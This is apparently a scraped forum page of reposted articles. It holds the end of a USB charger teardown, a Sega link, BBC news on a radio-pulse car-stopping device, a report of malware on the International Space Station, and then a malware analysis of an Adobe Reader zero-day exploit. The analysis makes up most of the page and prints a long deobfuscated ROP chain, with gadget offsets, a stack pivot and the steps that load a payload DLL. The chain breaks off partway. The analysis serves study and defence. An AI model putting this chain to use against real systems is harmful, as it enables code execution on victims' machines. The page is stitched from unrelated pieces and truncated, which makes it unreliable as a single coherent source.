/ .8 A = 3?, overload point = .5 V / .8 A = .6?. [17] Most of these chargers aren't made by the companies that sell them, and there are some interesting facts about the manufacturers. The manufacturers of the chargers can be looked up from the UL certification number. The oblong Samsung is made in China by Korean RFTech, a manufacturer of mobile phone products. The Samsung cube is made in China by Korean power supply manufacturer Dong Yang E&P. The HP charger is made by Foxlink, who also makes the iPad charger for Apple. The counterfeit chargers are made by anonymous Chinese manufacturers, despite what they claim on the labels. The Monoprice is made by Golden Profit Electronics (formerly ShaYao Electric Factory Three - no word on what happened to factories One and Two). The Belkin charger is manufactured by the obscure company Mobiletec of Taiwan. The KMS charger doesn't give any clues as to the manufacturer, and I can't identify KMS as a company. The Motorola charger is built by Astec (now part of Emerson Network Power). Interestingly, Astec's big break was manufacturing power supplies for the Apple II, as I discuss in my article on the Apple II power supply. Apple uses a dizzying variety of manufacturers for their chargers. The iPhone charger (A1265) is made by Flextronics, the UK charger (A1299) is made by Emerson Network Power (except the one I have is counterfeit), the iPad charger (A1357) is made by Foxlink Technologies, and the Magsafe (ADP-85) charger (not discussed in this article) is made by Delta Electronics. The A1385 iPhone charger often comes with the iPhone 5 and looks identical to the A1265 I measured, but is manufactured by Emerson Network Power instead of Flextronics. I am told that by using multiple manufacturers, Apple has more negotiating leverage, since they can easily switch manufacturers at any time if they're not happy with the price or quality. Confusingly, Foxlink (Taiwan), Foxconn (Taiwan), and Flextronics (Singapore) are all manufacturers for Apple with similar names. Foxlink (the name for Cheng Uei Precision Industry) and Foxconn (the name for Hon Hai Precision Industry) are entirely independent companies aside from the fact that the chairmen of both companies are brothers and the companies do a lot of business with each other (statement, Foxlink annual report). Foxconn is the company with continuing controversy over employee treatment. Foxconn and Flextronics are the world's #1 and #2 largest electronics manufacturing companies according to the Circuits Assembly Top 50. Posted by Ken Shirriff at 9:25 AM Sursa: Ken Shirriff's blog: A dozen USB chargers in the lab: Apple is very good, but not quite the best

Sega games online http://www.ssega.com/

RF Safe-Stop shuts down car engines with radio pulse By Chris Vallance BBC Radio 4, PM Andy Bennett, of E2V, shows how the device works at Throckmorton Airfield, in Worcestershire A British company has demonstrated a prototype device capable of stopping cars and other vehicles using a blast of electromagnetic waves. The RF Safe-Stop uses radio frequency pulses to "confuse" a vehicle's electronic systems, cutting its engine. E2V is one of several companies trying to bring such a product to market. It said it believed the primary use would be as a non-lethal weapon for the military to defend sensitive locations from vehicles refusing to stop. There has also been police interest. The BBC was given a demonstration of the device at Throckmorton Airfield, in Worcestershire. Deputy Chief Constable Andy Holt, of the Association of Chief Police Officers (Acpo), who has evaluated the tech, said the machine had "potential, but it's very early days yet". Radio pulse At one end of a disused runway, E2V assembled a varied collection of second-hand cars and motorbikes in order to test the prototype against a range of vehicles. In demonstrations seen by the BBC a car drove towards the device at about 15mph (24km/h). As the vehicle entered the range of the RF Safe-stop, its dashboard warning lights and dials behaved erratically, the engine stopped and the car rolled gently to a halt. Digital audio and video recording devices in the vehicle were also affected. "It's a small radar transmitter," said Andy Wood, product manager for the machine. "The RF [radio frequency] is pulsed from the unit just as it would be in radar, it couples into the wiring in the car and that disrupts and confuses the electronics in the car causing the engine to stall." He did not provide other specifics. However, the Engineer magazine has reported the device uses L- and S-band radio frequencies, and works at a range of up to 50m (164ft). Some experts the BBC has spoken with suggested that turning off the engine in this manner would not stop vehicles rapidly enough. Others worried about what effect it might have on a car's electronic brake and steering systems. But E2V said the risks were lower than with alternative systems. Acpo suggested the machine's ability to stop motorbikes "safely" could prove particularly useful. Mr Holt noted that the tyre deflation devices used by some police forces posed the risk of causing "serious injury" if used against two-wheelers. E2V added that its device could also be effective against other types of vehicles, including boats. But because the device works on electronic systems, he acknowledged that it would not work on all older vehicles. "Certainly if you took a 1960s Land Rover, there's a good chance you're not going to stop it," Mr Wood said. The firm added that it did not believe the RF Safe-Stop posed any risk to people using a pacemaker. Listeners in the UK can hear more about the device on BBC Radio 4's PM programme between 17:00 and 18:00 on Tuesday. Sursa: BBC News - RF Safe-Stop shuts down car engines with radio pulse

International Space Station Infected With USB Stick Malware Carried on Board by Russian Astronauts By David Gilbert | November 11, 2013 11:22 AM GMT Renowned security expert Eugene Kaspersky reveals that the International Space Station was infected by a USB stick carried into space by a Russian astronaut. The International Space Station was infected by malware held on a USB stick and carried by Russian astronauts (Reuters) Russian security expert Eugene Kaspersky has also told journalists that the infamous Stuxnet had infected an unnamed Russian nuclear plant and that in terms of cyber-espionage "all the data is stolen globally... at least twice." Kaspersky revealed that Russian astronauts carried a removable device into space which infected systems on the space station. He did not elaborate on the impact of the infection on operations of the International Space Station (ISS). Kaspersky said he had been told that from time to time there were "virus epidemics" on the station. Kaspersky doesn't give any details about when the infection he was told about took place, but it appears as if it was prior to May of this year when the United Space Alliance, the group which oversees the operaiton of the ISS, moved all systems entirely to Linux to make them more "stable and reliable." Windows XP Prior to this move the "dozens of laptops" used on board the space station had been using Windows XP, which is inherently more vulnerable to infection from malware than Linux. According to Kaspersky the infections occurred on laptops used by scientists who used Windows as their main platform and carried USB sticks into space when visiting the ISS. The ISS's control systems (known generally as SCADA systems) were already running various flavours of Linux prior to this switch for laptops last May. According to a report on ExtremeTech, as far back as 2008 a Windows XP laptop was brought onto the ISS by a Russian astronaut infected with the W32.Gammima.AG worm, which quickly spread to other laptops on the station - all of which were running Windows XP. Stuxnet The Russian said this example shows that not being connected to the internet does not prevent you from being infected. In another example, Kaspersky revealed that an unnamed Russian nuclear facility, which is also cut off from the public internet, was infected with the infamous Stuxnet malware. Founder of Kaspersky security company, Eugene Kaspersky, reveals the International Space Station was infected with malware carried on USB sticks. (Screengrab) Quoting an employee of the plant, Kaspersky said: "[The staffer said] their nuclear plant network which was disconnected from the internet ... was badly infected by Stuxnet. So unfortunately these people who were responsible for offensive technologies, they recognise cyber weapons as an opportunity." Infamous Stuxnet is one of the most infamous pieces of malware ever created, though it was never designed to come to the attention of the public. Never officially confirmed by either government, the widely-held belief is that Stuxnet was created jointly by the US and Israeli governments to target and disable the Natanz nuclear enrichment facility in Iran, in a bid to disrupt the country's development of nuclear weapons. The malware was introduced to the Natanz facility, which is also disconnected from the internet, through a USB stick and went on to force centrifuges to spin out of control and cause physcial damage to the plant. Stuxnet only became known to the public when an employee of the Natanz facility took an infected work laptop home and connected to the internet, with the malware quickly spreading around the globe infecting millions of PCs. Expensive Kaspersky told the Press Club that creating malware like Stuxnet, Gauss, Flame and Red October is a highly complex process which would cost up to $10 million to develop. Speaking about cyber-crime, Kaspersky said that half of all criminal malware was written in Chinese, with a third written in Spanish or Portuguese. Kaspersky added that Russian-based malware was the next most prevalent threat, but that it was also the most sophisticated. He also added that Chinese malware authors were not very interested in security with some adding social media accounts and personal photos on servers hosting the malware. Sursa: International Space Station Infected With USB Stick Malware Carried on Board by Russian Astronauts

[h=3]Analysis of a Malware ROP Chain[/h] By Brad Antoniewicz. Back in February an Adobe Reader zero-day was found being actively exploited in the wild. You may have seen an analysis of the malware in a number of places. I recently came across a variant of this malware and figured it would be nice to provide a little more information on the ROP chain contained within the exploit. [h=1]Background[/h] After Adobe was notified of the exploit their analysis yielded two vulnerabilities: CVE-2013-0640 and CVE-2013-0641. Initially the ambiguity of the vulnerability descriptions within the advisories made it hard to tell if both CVE-2013-0640 and CVE-2013-0641 were being exploited in the variant I came across - but from what I can put together, CVE-2013-0640 was used in the initial exploit for memory address disclosure and code execution. Then the exploit transfers control to another DLL that escapes the Adobe Reader sandbox by exploiting CVE-2013-0641. [h=1]Exploit Characteristics[/h] Once I get past the malicious intent, I'm one of those people who can appreciate a nicely written exploit or piece of malware. This variant was particularly interesting to me because it exploited an pretty cool vulnerability and showed signs of sophistication. However, at the same time, there was tons of oddly structured code, duplication, and overall unreliability. It was almost like one person found the crash, one person wrote the ROP chain, and a final person hacked everything together and filled in the gaps. If this was my team, I'd fire that final person In this section we'll cover the general characteristics of the exploit that serve as an important background but are not directly part of the ROP chain. [h=2]Javascript Stream[/h] The exploit is written in Javascript embedded into a PDF stream. Extracting the Javascript is pretty straight forward: root@kali:~# pdfextract evil.pdf [h=2]Obfuscation[/h] The Javascript was similar to how it was described in previous articles: It appeared to be at least partially obfuscated, but had some readable Italian/Spanish word references throughout. For example: ROP_ADD_ESP_4 = 0x20c709bb; . . . pOSSEDER[sEGUENDO - 1] += "amor"; pOSSEDER[sEGUENDO - 5] += "fe"; pOSSEDER[sEGUENDO - 10] += "esperanza"; Most everything in this article is the result of my manual deobfuscation of the JavaScript (lots of find and replace). A similar Javascript exploit was found posted on a Chinese security forum. I can't say how or if the two are connected, its possible the Chinese site just put friendly names to the obfuscated functions. It just struct me odd that the post named functions and variables so precisely with little structural change from the obfuscated version. [h=2]Version Support[/h] The exploit first checks the result of app['viewerVersion'] to determine the Reader version. The following versions appear to be supported within the exploit: 10.0.1.434 10.1.0.534 10.1.2.45 10.1.3.23 10.1.4.38 10.1.4.38ARA 10.1.5.33 11.0.0.379 11.0.1.36 9.5.0.270 9.5.2.0 9.5.3.305 The author developed entire ROP chains for each version, this surely took some time to do. I looked at 10.1.2.45, which is the focus of this article. [h=2]ASLR[/h] The address leak vulnerability in AcroForm.api facilitated an ASLR bypass by providing the module load address of AcroForm.api. The exploit writers had to first trigger the vulnerability, get the module load address, then adjust the offsets in the ROP chain at runtime before loading it into memory. [h=2]Stack Pivot[/h] Once the code execution vulnerability is triggered, the exploit directs Reader to a stack pivot ROP gadget that transfers control from the program stack to the ROP chain that is already loaded into memory on the heap. Oddly the stack pivot address is defined within a variable inside the JavaScript ROP chain build function, rather than being part of the returned ROP Chain string. Instead of simply defining the stack pivot address as an offset, the exploit writer defined it as an absolute address using the default IDA load address. Later on in the exploit the writer actually subtracts the default load address from this gadget address to get the offset then adds the leaked address. This is a totally different programmatic way from the approach used in this function to calculate a gadget's address which may indicate this exploit was developed by more than one author or maybe a IDA plugin was used to find the stack pivot. Here's the important parts of the JavaScript associated with the stack pivot to illustrate this conclusion: function getROP(AcrobatVersion,moduleLoadAddr){ . . . else if(AcrobatVersion == '10.1.2.45'){ var r=""; r+=getUnescape(moduleLoadAddr+0x17); r+=getUnescape(moduleLoadAddr+0x17); . . . } STACK_PIVOT = 0x2089209e ; return r; } var ropString = getROP(AdobeVersionStr['AcrobatVersion'], moduleLoadAddr); var idaLoadAddr= (0x20801000); stackPivotOffset = getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr); As you can see, there are two methods here, the simple "getUnescape(moduleLoadAddr+0x17);" and the more complex "getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);". Rather than digging through the exploit code, an easy way to identify the stack pivot within WinDBG is to set a breakpoint on one of the first ROP gadgets in the Javascript ROP chain build function: moduleOffset+0x41bc90 - 0:000> lmf m AcroForm start end module name 63a80000 64698000 AcroForm C:\Program Files\Adobe\Reader 10.0\Reader\plug_ins\AcroForm.api 0:000> uf 63a80000 + 1000 + 0x41bc90 AcroForm!DllUnregisterServer+0x39dc1a: 63e9cc90 54 push esp 63e9cc91 5e pop esi 63e9cc92 c3 ret 0:000> bp 63a80000 + 1000 + 0x41bc90 0:000> g When the breakpoint is reached, we can look at where the stack pointer is pointing. Since it's pointing at memory on the heap (and not the stack) we know the stack pivot executed. Breakpoint 5 hit eax=0000f904 ebx=00000001 ecx=63b1209e edx=00000000 esi=165acd6c edi=05c49f18 eip=63e9cc90 esp=118455ac ebp=001ede18 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 AcroForm!DllUnregisterServer+0x39dc1a: 63e9cc90 54 push esp At this breakpoint we also know the heap block where the ROP chain was loaded (ESP is pointing to it). We can use !heap to find the start of the heap block and inspect it. At offset 0x4 is the stack pivot: 0:000> !heap -p -a esp address 118455ac found in _HEAP @ 1ab0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 1183f8f8 1927 0000 [00] 1183f900 0c930 - (busy) 0:000> dd 1183f900 1183f900 00380038 63b1209e 63a81017 63a81017 1183f910 63a81017 63a81017 63a81017 63a81017 1183f920 63a81017 63a81017 63a81017 63a81017 1183f930 63a81017 63a81017 63a81017 63a81017 1183f940 63a81017 63a81017 63a81017 63a81017 1183f950 63a81017 63a81017 63a81017 63a81017 1183f960 63a81017 63a81017 63a81017 63a81017 1183f970 63a81017 63a81017 63a81017 63a81017 0:000> uf 63b1209e AcroForm!DllUnregisterServer+0x13028: 63b1209e 50 push eax 63b1209f 5c pop esp 63b120a0 59 pop ecx 63b120a1 0fb7c0 movzx eax,ax 63b120a4 c3 ret [h=2]JavaScript DLLs[/h] At the end of every version-dependent ROP chain is: 0x6f004d 0x750064 0x65006c Which is the hexadecimal equivalent of the unicode string "Module". Appended to that is a larger block of data. Later on we'll determine that the ROP chain searches the process memory for this specific delimiter("Module") to identify the block which is the start of a base64 encoded DLL that gets loaded as the payload. [h=1]ROP Pseudocode[/h] Before we dig into the assembly of the ROP chain, let's look at it from a high level. It uses the Windows API to retrieve a compressed base64 encoded DLL from memory. It decodes it, decompresses it, and loads it. If we were to translate its assembly to a higher level pseudo code, it would look something like this: hModule = LoadLibraryA("MSVCR90.DLL"); __wcsstr = GetProcAddress(hModule, "wcsstr"); base64blob = __wcsstr(PtrBlob, "Module"); hModule = LoadLibraryA("Crypt32.dll"); __CryptStringToBinaryA = GetProcAddress(hModule, "CryptStringToBinaryA"); __CryptStringToBinaryA(base64blob, 0, CRYPT_STRING_BASE64, decodedBlob, pcbBinary, pdwSkip, pdwFlags ); hModule = LoadLibraryA("NTDLL.dll"); __RtlDecompressBuffer = GetProcAddress(hModule, "RtlDecompressBuffer"); __RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, decompressedBlob, UncompressedBufferSize, decodedBlob, CompressedBufferSize, FinalUncompressedSize); hModule = LoadLibraryA("MSVCR90.DLL"); __fwrite = GetProcAddress(hModule, "fwrite"); hModule = LoadLibraryA("Kernel32.dll"); __GetTempPathA = GetProcAddress(hModule, "GetTempPathA"); tmpPath = "C:\Users\user\AppData\Local\Temp\"; __GetTempPathA(nBufferLength , tmpPath); tmpPath += "D.T"; hFile = fopen(tmpPath, "wb"); fwrite(decompressedBlob, size, count, hFile); fclose(hFile); LoadLibraryA("C:\Users\user\AppData\Local\Temp\D.T"); Sleep(0x1010101); [h=1]Setup[/h] The first thing the ROP Chain does is note where it is in memory. We'll see later on that it does this so it can dynamically modify the arguments passed to the functions it calls rather using static values. r+=ue(t+0x41bc90) ; // push esp/pop esi/ret The r variable is returned to the caller as the ROP chain, the ue() returns an unescape()'ed string from the parameters it was passed and the t variable is the AcroForm.api module load address. The pseudocode above shows that a number of calls, particularly the ones to LoadLibraryA() and GetProcAddress(), require strings as arguments. The ROP Chain accomplishes this by directly copying the strings into the .data segment of AcroForm.api. A snip of JavaScript code responsible for this is below: r+=ue(t+0x51f5fd); pop eax/ret r+=getUnescape(moduleLoadAddr+0x818001); // data_segment + 0x1 r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret r+=getUnescape(0x54746547); // string r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret r+=getUnescape(moduleLoadAddr+0x818005); // data_segment + 0x5 r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret r+=getUnescape(0x50706d65); // string + 0x4 r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret These groups of instructions are repeated for each DWORD for the length of the string, incrementing the data_segment and string offsets respectively. The entire string that is copied to the .data segment is: 0:008> db 63470000 + 1000 + 0x818001 L4e 63c89001 47 65 74 54 65 6d 70 50-61 74 68 41 00 66 77 72 GetTempPathA.fwr 63c89011 69 74 65 00 77 62 00 43-72 79 70 74 53 74 72 69 ite.wb.CryptStri 63c89021 6e 67 54 6f 42 69 6e 61-72 79 41 00 6e 74 64 6c ngToBinaryA.ntdl 63c89031 6c 00 52 74 6c 44 65 63-6f 6d 70 72 65 73 73 42 l.RtlDecompressB 63c89041 75 66 66 65 72 00 77 63-73 73 74 72 00 41 uffer.wcsstr.A As you can see, the strings for each of the function arguments are present. [h=1]Function Calls[/h] The rest of the ROPChain is mostly the same couple of steps repeated: Prepare arguments for function calls Call LoadLibraryA() Call GetProcAddress() Call function It performs these steps for the calls to wcsstr(), CryptStringToBinaryA(), RtlDecompressBuffer(), fwrite(), GetTempPathA(), and fclose(). Lets see what one of these calls look like: [h=2]Call to wcsstr()[/h] The ultimate goal of the following series of instructions is to set up the stack to make a call to wcsstr(). MSDN shows that the call should look like this: wchar_t *wcsstr( const wchar_t *str, const wchar_t *strSearch ); For the *strSearch parameter the author placed a pointer in the JavaScript ROP Chain to the .rdata segment of AcroForm.api which contains the unicode string "Module". Then to determine the *str parameter, the author used the saved stack pointer gathered in the first few instructions of the ROP Chain to calculate the memory address of *strSearch on the stack and place it at the precise offset on the stack where wcsstr() will look for it once called. Really any pointer to a memory address within the ROP Chain could have been used as the *str parameter, since it's at the end of the ROP Chain where the unicode string "Module" was added by the author to indicate the start of the payload. Come to think of it, the author could have probably just calculated the offset to the end of the ROP Chain and skipped the entire wcsstr() call. Let's see the JavaScript and assembly, This first set of gadgets simply determines the memory address on the stack of the "Module" unicode string in the .rdata segment of AcroForm.api. Remember, esi was used at the start of the ROP chain to store the stack pointer after the pivot. r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret r+=getUnescape(0xcccc0240); r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); // ret r+=getUnescape(moduleLoadAddr+0x13ca8b); // add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x538c1d); // xchg eax,edi/ret r+=getUnescape(moduleLoadAddr+0x508c23); // xchg eax,ecx/ret One note is the use of 0xcccc0240 as the offset. It turns to 0x00000240 after the movsx edi, di. My guess is that the author was trying to avoid nulls within the chain, but if you look at the other areas of the payload, there are tons of nulls used. This implies that the use of nulls is not needed, making it extra, unneeded work by the author. It makes me wonder if it indicates an automatically generated ROP chain or possibly a borrowed chain from another exploit. At the end of this set of instructions, the memory address on the stack of the pointer to the .rdata "Module resides in ecx. The next set of instructions determine the offset on the stack where the *str parameter would be. The JavaScript ROP Chain contains 0x41414141 at that offset but the last two sets of instructions overwrite that value with the memory address on the stack of the pointer to the .rdata "Module". r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret r+=getUnescape(0xcccc023c); r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); // ret r+=getUnescape(moduleLoadAddr+0x13ca8b); // add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret At this point, the stack is populated with the appropriate parameters at the appropriate places so that the call to wcsstr() can search the memory region where the ROP Chain is for the unicode string of "Module" - which indicates the start of the payload. However, calling wcsstr() isn't that simple. In the next set of instructions, the author calls LoadLibraryA() to load MSVCR90.dll which is the first step in preparing the module to call the function. The LoadLibrary() function is pretty straight forward to call: HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName ); With that as a reference, lets look at the ROP Chain: r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)} ; Address to kernel32!LoadLibraryA r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret r+=getUnescape(moduleLoadAddr+0x816e96); // ptr to "MSVCR90.dll" r+=getUnescape(moduleLoadAddr+0x508c23); // xchg eax,ecx/ret This is a pretty simple set of instructions, the author loads the address in the import table for LoadLibraryA() into eax then calls it. When LoadLibraryA() looks on the stack for its parameters, it'll see the pointer to the .rdata segment of AcroForm.api which contains to the string "MSVCR90.dll". The return value is a handle to the module set in eax and then immediately copied to ecx. Next the author has to save the handle at the specific offset on the stack where the next call to GetProcAddress will look for it. This should look familiar, its essentially the same sequence of instructions that the author used to set up the stack for the wcsstr() call (that hasn't happened yet). r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret r+=getUnescape(moduleLoadAddr+0xcccc022c); r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); // ret r+=getUnescape(moduleLoadAddr+0x13ca8b); // add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret A call to GetProcAddress() follows, lets see how to call it: FARPROC WINAPI GetProcAddress( _In_ HMODULE hModule, _In_ LPCSTR lpProcName ); In a similar fashion to the LoadLibraryA() call, the import address for GetProcAddress is loaded into eax and called. The 0x41414141 was overwritten in the previous set of instructions and now contains the handle that was returned from the LoadLibraryA() call, which is used for the hModule parameter. The lpProcName parameter was defined in the setup part of the ROP Chain where the author copied the string to the data segment of AcroForm.api. The address to the precise area of the data segment which contains the "wcsstr" string was already populated in the JavaScript. r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f11d4); // Address to kernel32!GetProcAddressStub r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle r+=getUnescape(moduleLoadAddr+0x818047); // data_segment + 0x47 ("wcsstr") GetProcAddress will return the address of wcsstr() in eax. The wcsstr() function parameters were already set up earlier on, so all that's left is to call eax. The last line adjusts eax so that it points to the start of the payload, and not at the "Module" delimiter. r+=getUnescape(moduleLoadAddr+0x154a); // jmp eax {MSVCR90!wcsstr (7189752c)} r+=getUnescape(moduleLoadAddr+0x5ec1a0); // pop ecx/pop ecx/ret r+=getUnescape(0x41414141); // Ptr to stack populated during setup r+=getUnescape(moduleLoadAddr+0x60a990); // Ptr to unicode "Module" in .data r+=getUnescape(moduleLoadAddr+0x2df56d); // add eax, 0ch/ret [h=1]Prepping and Writing the DLL[/h] Now the ROP Chain has a pointer to the compressed base64 encoded DLL. The rest of the chain decodes (CryptStringToBinaryA), decompresses (RtlDecompressBuffer) and writes the DLL to "C:\Users\user\AppData\Local\Temp\D.T" using the same high level gadgets just described in this section. It uses GetTempPathA() to determine the user's temporary file store, which is where the DLL is saved. [h=1]Loading the DLL[/h] With the D.T DLL written to disk, loading is just a matter of calling LoadLibraryA(). The DLL automatically starts it own thread and the remainder of the ROP Chain is just a call to Sleep(). r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret r+=getUnescape(moduleLoadAddr+0x818101); // Loads D.T as a library r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f10c0); // ds:0023:65cf20c0={kernel32!SleepStub (769cef66)} r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret r+=getUnescape(moduleLoadAddr+0x17); // ret r+=getUnescape(0x1010101); [h=1]Full ROP Chain[/h] Here's the ROP Chain in its entirety, I manually deobfuscated it and added the assembly annotations. r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x41bc90); //push esp/pop esi/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818001); //data_segment + 0x1 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x54746547); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret ; r+=getUnescape(moduleLoadAddr+0x818005); //scratch_space + 0x5 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x50706d65); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818009); //scratch_space + 0x9 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41687461); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81800d); //scratch_space + 0xd r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41414100); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81800e); //scratch_space + 0xe r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x69727766); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818012); //scratch_space + 0x12 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41006574); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 0x15 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41006277); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x70797243); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81801c); //scratch_space + 0x1c r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x72745374); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret 